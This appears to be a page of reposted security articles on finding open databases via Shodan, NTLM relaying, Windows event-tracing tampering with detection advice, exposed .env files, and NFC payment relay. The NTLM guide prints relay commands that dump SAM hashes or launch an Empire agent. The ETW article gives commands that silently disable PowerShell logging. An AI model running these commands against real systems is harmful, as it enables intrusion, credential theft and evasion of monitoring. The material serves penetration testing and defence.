How to find open databases with the help of Shodan and Lampyre

( Original text by Lampyre.io )

Today I’ll be telling you about the tool which combines the advantages of many tools for Cyber Threat Intelligence and Open Source Intelligence Gathering (OSINT) and which allows you to analyze the obtained data in a comfy way. You’ll learn how to easily find databases without any authentication using the Shodan capabilities with the Lampyre tools. Of course, Shodan can also be used for mining other interesting data. For example, you can visualize the location of web cameras on a map, get info on the devices with enabled RDP and take a look at their screenshots and a lot more, but all this — a topic for some other time.

The problems with unsafe default configurations of some databases are no news and are widely discussed on the Web. However, regardless of that, many still don’t pay enough attention.

Latest news on the data leaks of the American Express India and Voxox’s database (running on Amazon’s Elasticsearch) only confirms this. Nobody is protected against human mistakes and sometimes the price of these mistakes is just too high!

MongoDB, Elasticsearch, Cassandra and some other databases do not have authorization enabled by default. This means that anyone in the Internet may not only look into their content and download it but also change the existing data or use it in some fraudulent activities — for example, phishing or encrypting all data and then demanding for bitcoins or any other. The same may happen to some other services, such as FTP for example.

WARNING!! The following information is provided solely in educational purposes and by no means encourages any action against the laws. Please remember that any data fraudulence and unauthorized access is considered a crime. Use this information for research purposes only and please inform the DB owners if you come across their confidential data so that they wouldn’t be involved in any data leak situations.

Yes-yes, sure you can scan all ranges of IP-addresses yourself and have your own VPN-servers to conduct your research. But in order to make it much quicker and easier, it’s enough to just launch a couple of requests in Lampyre with different search parameters, using its imbedded integration with API Shodan.

There are so many of such parameters and today I’ll talk about only two. Let’s assume I want to find any open mongodbs, which were indexed by Shodan last week. Here is a step-by-step of how to do it:

1. Download Lampyre from the lampyre.io website, unpack the archive and install it;
2. Launch the app, spend a couple of minutes to acquire your free license and then create an investigation;
3. In the List of Requests window, choose the Shodan Search request. In the input parameters indicate MongoDB product and set the required time period (November 23–30, for example)
Note: this request gives back the results by pages, 100 results per 1 page. In order to get more data right away, input 1–10 into the Page or Range field and you will get 1000 results;
4. Click Execute and — voila! — enjoy scrolling through your 1000 mongoDBs found.

However, these 1000 mongoDBs are not exactly what we really need. Shodan indexes all services working in the open networks. Also it returns info on the structure of databases: list of MongoDB collections, list of available commands and other technical parameters. This data is available in the Data column.

Here is a screenshot of an example:

Some things might have changed since Shodan indexed, so in order to understand if any database may still be accessed at this moment and what its current structure is, you’ll have to perform one more request. Guess which one? — Ta-dah! Right, Explore DB: MongoDB. What does it do? In real time and through a chain of VPN-servers this request tries to connect to the found MongoDBs by IP-addresses, which act as the input parameters.

So to make it more comfortable for me to perform this request and visualize the results in a convenient way, I will transfer the info on the Shodan Mongo DBs to a schema and select all their obtained IP-addresses in the Content window, right-click any of them (to use them as input parameters) and choose the Explore DB request in the context menu.

As a result, if there is no authorization set in the DB, you’ll get its current structure, list of collections with the quantity and names of the documents in them.

What to do with this data? Everyone decides for himself…

Similar research can be performed in Lampyre also for Elasticsearch and FTP. There will be more requests available soon. Stay tuned!

And by the way, nothing stops you from working with 1000 or even 10000 IP-addresses as input parameters, but this is the matter to talk about in our next posts.

A short video on the topic of this article is available on our youtube channelwhere you can also find some other tutorials on Cyber Threat intelligence. If you go to the channel after reading this article please feel free to comment on the video. If you have any ideas on using Lampyre for Cyber Security you can also Tweet us.

Have a great week!

Реклама

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

( Original text by byt3bl33d3r )

This blog post is mainly aimed to be a very ‘cut & dry’ practical guide to help clear up any confusion regarding NTLM relaying. Talking to pentesters I’ve noticed that there seems to be a lot of general confusion regarding what you can do with those pesky hashes you get with Responder. I also noticed there doesn’t seem to be an up to date guide on how to do this on the interwebs, and the articles that I did see about the subject either reference tools that are outdated, broken and/or not maintained anymore.

I won’t go into detail on all the specifics since there are a TON of papers out there detailing how the attack actually works, this one from SANS is a ok when it comes to the theory behind the attack.

Before we dive into the thick of it we need make sure we are on the same page with a couple of things.

NTLM vs. NTLMv1/v2 vs. Net-NTLMv1/v2

This is where the confusion starts for a lot of people and quite frankly I don’t blame them because all of the articles about this attack talk about NTLMv1/v2, so when they see Net-NTLMv1/v2 anywhere obviously people wonder if it’s the same thing.

Edit 06/05/2017 — Updated the TL;DR as it was brought to my attention the way I phrased it was still confusing.

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

However, NTLM (without v1/v2) means something completely different.

NTLM hashes are stored in the Security Account Manager (SAM) database and in Domain Controller’s NTDS.dit database. They look like this:

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

Contrary to what you’d expect, the LM hash is the one before the semicolon and the NT hash is the one after the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

Net-NTLM hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user’s NT hash). Here’s an example of a Net-NTLMv2 (a.k.a NTLMv2) hash:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 

(This hash was taken from the Hashcat example hash page here)

From a pentesting perspective:

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

You get NTLM hashes when dumping the SAM database of any Windows OS, a Domain Controller’s NTDS.dit database or from Mimikatz (Fun fact, although you can’t get clear-text passwords from Mimikatz on Windows >= 8.1 you can get NTLM hashes from memory). Some tools just give you the NT hash (e.g. Mimikatz) and that’s perfectly fine: obviously you can still Pass-The-Hash with just the NT hash.

You get Net-NTLMv1/v2 (a.k.a NTLMv1/v2) hashes when using tools like Responder or Inveigh.

This article is going to be talking about what you can do with Net-NTLM in modern windows environments.

Relaying 101

Since MS08-068 you cannot relay a Net-NTLM hash back to the same machine you got it from (e.g. the ‘reflective’ attack) unless you’re performing a cross-protocol relay (which is an entirely different topic). However you can still relay the hash to another machine.

TL;DR you don’t have to crack the hashes you get from Responder, you can directly relay them to other machines!

What’s really cool about this? You can use Responder in combination with a relay tool to automatically intercept connections and relay authentication hashes!

The only caveat to this attack? SMB Signing needs to be disabled on the machine you’re relaying too. With the exception of Windows Server OS’s, all Windows operating systems have SMB Signing disabled by default.

Personally, I consider SMB Signing to be one of the most overlooked and underrated security settings in Windows specifically because of this attack and how easy it allows for attackers to gain an initial foothold.

Setting up

Grab Responder (do not use the version of Responder on SpiderLab’s Github repository as it isn’t maintained anymore, you should be using lgandx’s fork), edit the Responder.conf file and turn off the SMB and HTTP servers:

[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On

Now you need a relaying tool.

There are 2 main tools that are maintained and updated regularly that can be used to perform relay attacks with Net-NTLMv1/v2 hashes:

I personally use ntlmrelayx.py so I’ll stick with that for this blogpost.

Install Impacket using pip or manually by git cloning the repo and running the setup file and it will put the ntlmrelayx.py script in your path.

Now you need list of targets to relay to.

How you do that is up to you. I personally use CrackMapExec: V4 has a handy --gen-relay-list flag just for this:

cme smb <CIDR> --gen-relay-list targets.txt

The above command will generate a list of all hosts with SMB Signing disabled and output them to the specified file.

0wning Stuff

Now that you have everything you need, fire up Responder in one terminal window:

python Responder.py -I <interface> -r -d -w

And ntlmrelayx.py in another:

ntlmrelayx.py -tf targets.txt

By default, ntlmrelayx.py upon a successful relay will dump the SAM database of the target.

Buuuuut, you know whats even better? How about executing a command?

ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>

Now, every time ntlmrelayx.py successfully relays a Net-NTLM hash, you will get an Empire agent! How cool is that??!

Here’s a video of how it looks like in practice:

Let’s recap

  1. We’re using Responder to intercept authentication attempts (Net-NTLM hashes) via Multicast/Broadcast protocols.
  2. However, since we turned off Responder’s SMB and HTTP servers and have ntlmrelayx.py running, those authentication attempts get automatically passed to ntlmrelayx.py’s SMB and HTTP servers
  3. ntlmrelayx.py takes over and relays those hashes to our target list. If the relay is successful it will execute our Empire launcher and give us an Empire Agent on the target machine.

Conclusion

SMB Relaying attacks are very much still relevant. Having SMB Signing disabled in combination with Multicast/Broadcast protocols allow attackers to seamlessly intercept authentication attempts, relay them to other machines and gain an initial foothold on an Active Directory network in a matter of minutes.

Now, combine this with something like DeathStar and you have automated everything from getting a foothold to gaining Domain Admin rights!

Shout outs

These are the people responsible for these amazing tools, hard work and research. You should be following them everywhere!

Tampering with Windows Event Tracing: Background, Offense, and Defense

( Original text by Palantir )

Event Tracing for Windows (ETW) is the mechanism Windows uses to trace and log system events. Attackers often clear event logs to cover their tracks. Though the act of clearing an event log itself generates an event, attackers who know ETW well may take advantage of tampering opportunities to cease the flow of logging temporarily or even permanently, without generating any event log entries in the process.

The Windows event log is the data source for many of the Palantir Critical Incident Response Team’s Alerting and Detection Strategies, so familiarity with event log tampering tradecraft is foundational to our success. We continually evaluate our assumptions regarding the integrity of our event data sources, document our blind spots, and adjust our implementation. The goal of this blog post is to share our knowledge with the community by covering ETW background and basics, stealthy event log tampering techniques, and detection strategies.

Introduction to ETW and event logging

The ETW architecture differentiates between event providers, event consumers, and event tracing sessions. Tracing sessions are responsible for collecting events from providers and for relaying them to log files and consumers. Sessions are created and configured by controllers like the built-in logman.exe command line utility. Here are some useful commands for exploring existing trace sessions and their respective ETW providers; note that these must usually be executed from an elevated context.

List all running trace sessions

> logman query -ets
Data Collector Set                Type    Status
-------------------------------------------------
Circular Kernel Context Logger Trace Running
AppModel Trace Running
ScreenOnPowerStudyTraceSession Trace Running
DiagLog Trace Running
EventLog-Application Trace Running
EventLog-System Trace Running
LwtNetLog Trace Running
NtfsLog Trace Running
TileStore Trace Running
UBPM Trace Running
WdiContextLog Trace Running
WiFiSession Trace Running
UserNotPresentTraceSession Trace Running
Diagtrack-Listener Trace Running
MSDTC_TRACE_SESSION Trace Running
WindowsUpdate_trace_log Trace Running

List all providers that a trace session is subscribed to

> logman query "EventLog-Application" -ets
Name:                 EventLog-Application
Status: Running
Root Path: %systemdrive%\PerfLogs\Admin
Segment: Off
Schedules: On
Segment Max Size: 100 MB

Name: EventLog-Application\EventLog-Application
Type: Trace
Append: Off
Circular: Off
Overwrite: Off
Buffer Size: 64
Buffers Lost: 0
Buffers Written: 242
Buffer Flush Timer: 1
Clock Type: System
File Mode: Real-time

Provider:
Name: Microsoft-Windows-SenseIR
Provider Guid: {B6D775EF-1436-4FE6-BAD3-9E436319E218}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x8000000000000000 (Microsoft-Windows-SenseIR/Operational)
Properties: 65
Filter Type: 0

Provider:
Name: Microsoft-Windows-WDAG-Service
Provider Guid: {728B02D9-BF21-49F6-BE3F-91BC06F7467E}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x8000000000000000
Properties: 65
Filter Type: 0

...

Provider:
Name: Microsoft-Windows-PowerShell
Provider Guid: {A0C1853B-5C40-4B15-8766-3CF1C58F985A}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x9000000000000000 (Microsoft-Windows-PowerShell/Operational,Microsoft-Windows-PowerShell/Admin)
Properties: 65
Filter Type: 0

This command details the configuration of the trace session itself, followed by the configuration of each provider that the session is subscribed to, including the following parameters:

  • Name: The name of the provider. A provider only has a name if it has a registered manifest, but it always has a unique GUID.
  • Provider GUID: The unique GUID for the provider. The GUID and/or name of a provider is useful when performing research or operations on a specific provider.
  • Level: The logging level specified. Standard logging levels are: 0 — Log Always; 1 — Critical; 2 — Error; 3 — Warning; 4 — Informational; 5 — Verbose. Custom logging levels can also be defined, but levels 6–15 are reserved. More than one logging level can be captured by ORing respective levels; supplying 255 (0xFF) is the standard method of capturing all supported logging levels.
  • KeywordsAll: Keywords are used to filter specific categories of events. While logging level is used to filter by event verbosity/importance, keywords allow filtering by event category. A keyword corresponds to a specific bit value. All indicates that, for a given keyword matched by KeywordsAny, further filtering should be performed based on the specific bitmask in KeywordsAll. This field is often set to zero. More information on All vs. Any can be found here.
  • KeywordsAny: Enables filtering based on any combination of the keywords specified. This can be thought of as a logical OR where KeywordsAll is a subsequent application of a logical AND. The low 6 bytes refer to keywords specific to the provider. The high two bytes are reserved and defined in WinMeta.xml in the Windows SDK. For example, in event log-related trace sessions, you will see the high byte (specifically, the high nibble) set to a specific value. This corresponds to one or more event channels where the following channels are defined:
0x01 - Admin channel
0x02 - Debug channel
0x04 - Analytic channel
0x08 - Operational channel
  • Properties: This refers to optional ETW properties that can be specified when writing the event. The following values are currently supported (more information here):
0x001 - EVENT_ENABLE_PROPERTY_SID
0x002 - EVENT_ENABLE_PROPERTY_TS_ID
0x004 - EVENT_ENABLE_PROPERTY_STACK_TRACE
0x008 - EVENT_ENABLE_PROPERTY_PSM_KEY
0x010 - EVENT_ENABLE_PROPERTY_IGNORE_KEYWORD_0
0x020 - EVENT_ENABLE_PROPERTY_PROVIDER_GROUP
0x040 - EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0
0x080 - EVENT_ENABLE_PROPERTY_PROCESS_START_KEY
0x100 - EVENT_ENABLE_PROPERTY_EVENT_KEY
0x200 - EVENT_ENABLE_PROPERTY_EXCLUDE_INPRIVATE

From a detection perspective, EVENT_ENABLE_PROPERTY_SID, EVENT_ENABLE_PROPERTY_TS_ID, EVENT_ENABLE_PROPERTY_PROCESS_START_KEY are valuable fields to collect. For example, EVENT_ENABLE_PROPERTY_PROCESS_START_KEY generates a value that uniquely identifies a process. Note that Process IDs are not unique identifiers for a process instance.

  • Filter Type: Providers can optionally choose to implement additional filtering; supported filters are defined in the provider manifest. In practice, none of the built-in providers implement filters as confirmed by running TdhEnumerateProviderFilters over all registered providers. There are some predefined filter types defined in eventprov.h (in the Windows SDK):
0x00000000 - EVENT_FILTER_TYPE_NONE
0x80000000 - EVENT_FILTER_TYPE_SCHEMATIZED
0x80000001 - EVENT_FILTER_TYPE_SYSTEM_FLAGS
0x80000002 - EVENT_FILTER_TYPE_TRACEHANDLE
0x80000004 - EVENT_FILTER_TYPE_PID
0x80000008 - EVENT_FILTER_TYPE_EXECUTABLE_NAME
0x80000010 - EVENT_FILTER_TYPE_PACKAGE_ID
0x80000020 - EVENT_FILTER_TYPE_PACKAGE_APP_ID
0x80000100 - EVENT_FILTER_TYPE_PAYLOAD
0x80000200 - EVENT_FILTER_TYPE_EVENT_ID
0x80000400 - EVENT_FILTER_TYPE_EVENT_NAME
0x80001000 - EVENT_FILTER_TYPE_STACKWALK
0x80002000 - EVENT_FILTER_TYPE_STACKWALK_NAME
0x80004000 - EVENT_FILTER_TYPE_STACKWALK_LEVEL_KW

Enumerating all registered ETW providers

The logman query providers command lists all registered ETW providers, supplying their name and GUID. An ETW provider is registered if it has a binary manifest stored in the
 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{PROVIDER_GUID} registry key. For example, the Microsoft-Windows-PowerShell provider has the following registry values:

ETW and the event log know how to properly parse and display event information to a user based on binary-serialized information in the WEVT_TEMPLATE resource present in the binaries listed in the ResourceFileName registry value. This resource is a binary representation of an instrumentation manifest (i.e., the schema for an ETW provider). The binary structure of WEVT_TEMPLATE is under-documented, but there are at least two tools available to assist in parsing and recovering event schema, WEPExplorer and Perfview.

Viewing an individual provider

The logman tool prints basic information about a provider. For example:

The listings shows supported keywords and logging values, as well as all processes that are registered to emit events via this provider. This output is useful for understanding how existing trace sessions filter on providers. It is also useful for initial discovery of potentially interesting information that could be gathered from via an ETW trace.

Notably, the PowerShell provider appears to support logging to the event log based on the existence of the reserved keywords in the high nibble of the defined keywords. Not all ETW providers are designed to be ingested into the event log; rather, many ETW providers are intended to be used solely for low-level tracing, debugging, and more recently-developed security telemetry purposes. For example, Windows Defender Advanced Threat Protection relies heavily upon ETW as a supplemental detection data source.

Viewing all providers that a specific process is sending events to

Another method for discovering potentially interesting providers is to view all providers to which events are written from a specific process. For example, the following listing shows all providers relevant to MsMpEng.exe (the Windows Defender service, running as pid 5244 in this example):

Entries listed with GUID are providers lacking a manifest. They will typically be related to WPP or TraceLogging, both of which are beyond the scope of this blog post. It is possible to retrieve provider names and event metadata for these providers types. For example, here are some of the resolved provider names from the unnamed providers above:

  • 05F95EFE-7F75–49C7-A994–60A55CC09571
    Microsoft.Windows.Kernel.KernelBase
  • 072665FB-8953–5A85–931D-D06AEAB3D109
    Microsoft.Windows.ProcessLifetimeManage
  • 7AF898D7–7E0E-518D-5F96-B1E79239484C
    Microsoft.Windows.Defender

Event provider internals

Looking at ETW-replated code snippets in built-in Windows binaries can help you understand how ETW events are constructed and how they surface in event logs. Below, we highlight two code samples, System.Management.Automation.dll (the core PowerShell assembly) and amsi.dll.

System.Management.Automation.dll event tracing

One of the great security features of PowerShell version 5 is scriptblock autologging; when enabled, script content is automatically logged to the Microsoft-Windows-PowerShell/Operational event log with event ID 4104 (warning level) if the scriptblock contains any suspicious terms. The following C# code is executed to generate the event log:

From PowerShell

The LogOperationalWarning method is implemented as follows:

From PowerShell

The WriteEvent method is implemented as follows:

From PowerShell

Finally, the event information is marshaled and EventWriteTransfer is called, supplying the Microsoft-Windows-PowerShell provider with event data.

The relevant data supplied to EventWriteTransfer is as follows:

  • Microsoft-Windows-PowerShell provider GUID: {A0C1853B-5C40-4b15-8766-3CF1C58F985A}
  • Event ID: PSEventId.ScriptBlock_Compile_Detail - 4104
  • Channel value: PSChannel.Operational - 16
    Again, the usage of a channel value indicates that the provider is intended to be used with the event log. The operational channel definition for the PowerShell ETW manifest can be seen here. When an explicit channel value is not supplied, Message Compiler (mc.exe) will assign a default value starting at 16. Since the operational channel was defined first, it was assigned 16.
  • Opcode value: PSOpcode.Create - 15
  • Logging level: PSLevel.Warning - 3
  • Task value: PSTask.CommandStart - 102
  • Keyword value: PSKeyword.UseAlwaysAnalytic - 0x4000000000000000
    This value is later translated to 0 as seen in the code block above. Normally, this event would not be logged but because the Application event log trace session specifies the EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 Enable flag for all of its providers which will log the event despite a keyword value not being specified.
  • Event data: the scriptblock contents and event fields

Upon receiving the event from the PowerShell ETW provider, the event log service parses the binary WEVT_TEMPLATE schema (original XML schema) and presents human-readable, parsed event properties/fields:

amsi.dll event tracing

You may have observed that Windows 10 has an AMSI/Operational event log that is typically empty. To understand why events are not logged to this event log, you would first have to inspect how data is fed to the AMSI ETW provider (Microsoft-Antimalware-Scan-Interface - {2A576B87-09A7-520E-C21A-4942F0271D67}) and then observe how the Application event log trace session (EventLog-Application) subscribes to the AMSI ETW provider. Let’s start by looking at the provider registration in the Application event log. The following PowerShell cmdlet will supply us with this information:

> Get-EtwTraceProvider -SessionName EventLog-Application -Guid '{2A576B87-09A7-520E-C21A-4942F0271D67}'
SessionName     : EventLog-Application
Guid : {2A576B87-09A7-520E-C21A-4942F0271D67}
Level : 255
MatchAnyKeyword : 0x8000000000000000
MatchAllKeyword : 0x0
EnableProperty : {EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0, EVENT_ENABLE_PROPERTY_SID}

The following properties should be noted:

  • Operational channel events (as indicated by 0x8000000000000000 in the MatchAnyKeyword value) are captured.
  • All logging levels are captured.
  • Events should be captured even if an event keyword value is zero as indicated by the EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 flag.

This information on its own does not explain why AMSI events are not logged, but it supplies needed context upon inspecting how amsi.dll writes events to ETW. By loading amsi.dl into IDA, we can see that there was a single call to the EventWrite function within the internal CAmsiAntimalware::GenerateEtwEvent function:

The relevant portion of the call to EventWrite is the EventDescriptorargument. Upon applying the EVENT_DESCRIPTOR structure type to _AMSI_SCANBUFFER, the following information was interpreted:

The EVENT_DESCRIPTOR context gives us the relevant information:

  • Event ID: 1101 (0x44D)
    This events details can be extracted from a recovered manifest as seen here.
  • Channel: 16 (0x10) referring to the operational event log channel
  • Level: 4 (Informational)
  • Keyword: 0x8000000000000001 (AMSI/Operational OR Event1). These values are interpreted by running the logman query providers Microsoft-Antimalware-Scan-Interface command.

We now understand that 1101 events not logged to the Application event log because it only considers events where the keyword value matches 0x8000000000000000. In order to fix this issue and get events pumping into the event log, either the Application event log trace session would need to be modified (not recommended and requires SYSTEM privileges) or you could create your own persistent trace session (e.g., an autologger) to capture AMSI events in the event log. The following PowerShell script creates such a trace session:

$AutoLoggerGuid = "{$((New-Guid).Guid)}"
New-AutologgerConfig -Name MyCustomAutoLogger -Guid $AutoLoggerGuid -Start Enabled
Add-EtwTraceProvider -AutologgerName MyCustomAutoLogger -Guid '{2A576B87-09A7-520E-C21A-4942F0271D67}' -Level 0xff -MatchAnyKeyword 0x80000000000001 -Property 0x41

After running the above command, reboot, and the AMSI event log will begin to populate.

Some additional reverse engineering showed that the scanResult field refers to the AMSI_RESULT enum where, in this case, 32768 maps to AMSI_RESULT_DETECTED, indicating that the buffer (the Unicode encoded buffer in the content field) was determined to be malicious.

Without knowledge of ETW internals, a defender would not have been able to determine that additional data sources (the AMSI log in this case) can be fed into the event log. One would have to resort to speculation as to how the AMSI event became to be misconfigured and whether or not the misconfiguration was intentional.

ETW tampering techniques

If the goal of an attacker is to subvert event logging, ETW provides a stealthy mechanism to affect logging without itself generating an event log trail. Below is a non-exhaustive list of tampering techniques that an attacker can use to cut off the supply of events to a specific event log.

Tampering techniques can generally be broken down into two categories:

  1. Persistent, requiring reboot — i.e., a reboot must occur before the attack takes effect. Changes can be reverted, but would require another reboot. These attacks involve altering autologger settings — persistent ETW trace sessions with settings in the registry. There are more types of persistent attacks than ephemeral attacks, and they are usually more straightforward to detect.
  2. Ephemeral — i.e., where the attack can take place without a reboot.

Autologger provider removal

Tampering category: Persistent, requiring reboot
Minimum permissions required: Administrator
Detection artifacts: Registry key deletion: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}

Description: This technique involves the removal of a provider entry from a configured autologger. Removing a provider registration from an autologger will cause events to cease to flow to the respective trace session.
 
Example: The following PowerShell code disables Microsoft-Windows-PowerShell event logging:

Remove-EtwTraceProvider -AutologgerName EventLog-Application -Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'

In the above example, A0C1853B-5C40-4B15-8766-3CF1C58F985A refers to the Microsoft-Windows-PowerShell ETW provider. This command will end up deleting the HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\{a0c1853b-5c40-4b15-8766-3cf1c58f985a} registry key.

Provider “Enable” property modification

Tampering category: Persistent, requiring reboot
Minimum permissions required: Administrator
Detection artifacts: Registry value modification: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID} - EnableProperty (REG_DWORD)

Description: This technique involves alerting the Enable keyword of an autologger session. For example, by default, all ETW provider entries in the EventLog-Application autologger session are set to 0x41 which translates to EVENT_ENABLE_PROPERTY_SID and EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 is not documented; it specifies that any events generated for a provider should be logged even if the keyword value is set to 0. An attacker could swap out EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 for EVENT_ENABLE_PROPERTY_IGNORE_KEYWORD_0, resulting in a value of 0x11, which would result in all events where the keyword is 0 to not be logged. For example, PowerShell eventing supplies a 0 keyword value with its events, resulting in no logging to the PowerShell event log.

Example: The following PowerShell code disables Microsoft-Windows-PowerShell event logging:

Set-EtwTraceProvider -Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}' -AutologgerName 'EventLog-Application' -Property 0x11

In the above example, A0C1853B-5C40-4B15-8766-3CF1C58F985A refers to the Microsoft-Windows-PowerShell ETW provider. This command will end up setting HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\EnableProperty to 0x11. Upon rebooting, events will cease to be reported to the PowerShell event log.
 
An attacker is not constrained to using just the Set-EtwTraceProvider cmdlet to carry out this attack. An attacker could just modify the value directly in the registry. Set-EtwTraceProvider offers a convenient autologger configuration abstraction.

Alternative detection artifacts/ideas: If possible, it is advisable to monitor for modifications of values within the HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID} registry key. Note that modifying EnableProperty is just one specific example and that an attacker can alter ETW providers in other ways, too.

ETW provider removal from a trace session

Tampering category: Ephemeral
Minimum permissions required: SYSTEM
Detection artifacts: Unfortunately, no file, registry, or event log artifacts are associated with this event. While the technique example below indicates that logman.exe was used to perform the attack, an attacker can obfuscate their techniques by using Win32 APIs directly, WMI, DCOM, PowerShell, etc.
 
Description: This technique involves removing an ETW provider from a trace session, cutting off its ability to supply a targeted event log with events until a reboot occurs, or until the attacker restores the provider. While an attacker must have SYSTEM privileges to perform this attack, it is unlikely that defenders will notice such an attack if they rely on event logs for threat detection.
 
Example: The following PowerShell code immediately disables Microsoft-Windows-PowerShell event logging until a reboot occurs or the attacker restores the ETW provider:

logman update trace EventLog-Application --p Microsoft-Windows-PowerShell -ets

Alternative detection artifacts/ideas:

  • Event ID 12 within the Microsoft-Windows-Kernel-EventTracing/Analytic log indicates when a trace session is modified, but it doesn’t supply the provider name or GUID that was removed, so it would be difficult to confidently determine whether or not something suspicious occurred using this event.
  • There have been several references thus far to the ETW PowerShell cmdlets housed in the EventTracingManagement module, which itself is a CDXML-based module. This means that all the cmdlets in the EventTracingManagement are backed by WMI classes. For example, the Get-EtwTraceProvider cmdlet is backed by the ROOT/Microsoft/Windows/EventTracingManagement:MSFT_EtwTraceProviderclass. Considering ETW providers can be represented in the form of WMI class instances, you could craft a permanent WMI event subscription that logs all provider removals from a specific trace session to the event log. This code sample creates an NtEventLogEventConsumer instance that logs event ID 8 to the Application event log (source: WSH) any time a provider is removed from the Application event log trace session, EventLog-Application. The logged event looks like the following:
  • The frequency at which providers are removed from Application event logs in large environments is not currently known. As as fallback, it is still advised to log the execution of logman.exewpr.exe, and PowerShell in your environment.

Conclusion

Identifying blind spots and assumptions in Alerting and Detection Strategies is a crucial step in ensuring the resilience of detections. Since ETW is at the core of the event logging infrastructure, gaining an in-depth understanding of ETW tampering attacks is a valuable way to increase the integrity of security-related data sources.

Further Reading

Publicly accessible .ENV files

( Original text by BinaryEdge )

Deployment is something a lot of companies still struggle with. We talked about the issue with Kubernetes being deployed insecurely a few weeks ago in a blogpost and how the kubernetes pods are being hijacked to mine for cryptocurrency.

This week we look at something different but still related to deployments and exposing things to public that should not be.

One tweet from @svblxyz (whom we would also like to thank for all the help given to us on reviewing this post and giving tips on things to add) showed us an interesting google dork which made us wonder, what does this look like for IP adresses vs domain/services focused (as google search is).View image on Twitter

View image on Twitter

svbl@svblxyz

👏

Don’t put your .env files in the web-server directory https://www.google.com/search?q=db_password+filetype%3Aenv …2,7829:15 PM — Sep 26, 20181,950 people are talking about thisTwitter Ads info and privacy

So we launched a scan using our distributed platform, as simple as:

> curl https://api.binaryedge.io/v1/tasks -d '{
      "description": "HTTP Worldscan .env",
      "type": "scan",
      "options": [{
        "targets": ["XXXX"],
        "ports": [{
            "modules": ["http"],
            "port": "80",
            "config": { "http_path": "/.env" }
        }]
      }]
      }' -H 'X-Token:XXXXXX'

After this we started getting the results and of course multiple issues can be identified on these scans:

  • Bad Deployments — The .ENV files being accessible is something that shouldn’t happen — there are companies exposing this type of file fully readable with no authentication.
  • Weak credentials — Lots of services with a username/password combo using weak passwords.

Credentials and Tokens

Lots different types of Service Tokens were found:

  • AWS — 38 tokens
  • Mangopay — 9 tokens
  • Stripe — 89 tokens
  • Pusher — 1600 Tokens

Other tokens found include:

  • PlugandPlay
  • Paypal
  • Mailchimp
  • Facebook
  • PhantomJS
  • Mailgun
  • Twitter
  • JWT
  • Google
  • WeChat
  • Shopify
  • Nexmo.
  • Bitly
  • Braintree
  • Twilio
  • Recaptcha
  • Ucloud
  • Firebase
  • Mandrill
  • Slack
  • Sentry.io
  • Shopzcoin

Many of these systems involve financial records/ payments.

But we also found access configurations to Databases, which potentially contain customer data, such as:

  • DB_PASSWORD keys: 1161
  • REDIS_PASSWORD keys: 801
  • MySQL credentials: 946 (username/password combos).

Looking at the passwords being used the top 3 we see they all consist of weak passwords:

1 — secret — 93
2 — root — 33
3 — adminadmin — 24

Other weak passwords found are:

  • password
  • test123
  • foobar

When exposed tokens go super bad…

Laravel

Something that is also very dangerous is situations like the CVE-2018-15133 where if the APP_KEY is leaked for the Laravel app, allows an attacker to execute commands on the machine where the Laravel instance is running.

And our scan found: 300 APP_KEY Tokens related to Laravel.

One important note to be taken into account, we looked only at port 80 internet wide for our scan. The exposure on this can easily be much higher as other web apps will surely be exposing more .env files!

Intro to NFC Payment Relay Attacks

( original text by netxing )

isclaimer

This is a simple intro to relay attacks using NFC payment data. I will add different types of relays during next year.

Intro

A NFC payment relay is an attack that could be described as extraction of data, using a bridge between a NFC smart card or mobile payment system and the Point of Sale System(PoS) or terminal in real time. Extracting the information and making a bridge while avoiding the latency are the most important and challenging parts.

I already post different introductory content about NFC technology:

  1. Intro to Analyze NFC Payment Methods & Contactless Cards
  2. NFC – Contactless Cards: Brute Forcing Processing Options

Eddie Lee presented in DEF CON 20 about how to design a NFC relay using two Android cellphones. The idea is to generate a bridge using 2 Android phones as you can see in the above image.

The phone 1 is close to the NFC card and the phone 2 is close to the terminal. When the phone 2 approaches the terminal, it mimics a NFC card and the terminal initializes the communication process. Any time when the terminal sends a command to the phone 2 asking about what type of card it is, the phone 2 sends that data over WiFi to the phone 1 and this phone “asks” the smart card the same question. The card answers and phone 1 takes that information and sends it back to phone 2 which responds to the terminal. Using this behavior throughout the communication process. Basically, phone 1 acts as reader and phone 2 as smart card. Simple right?

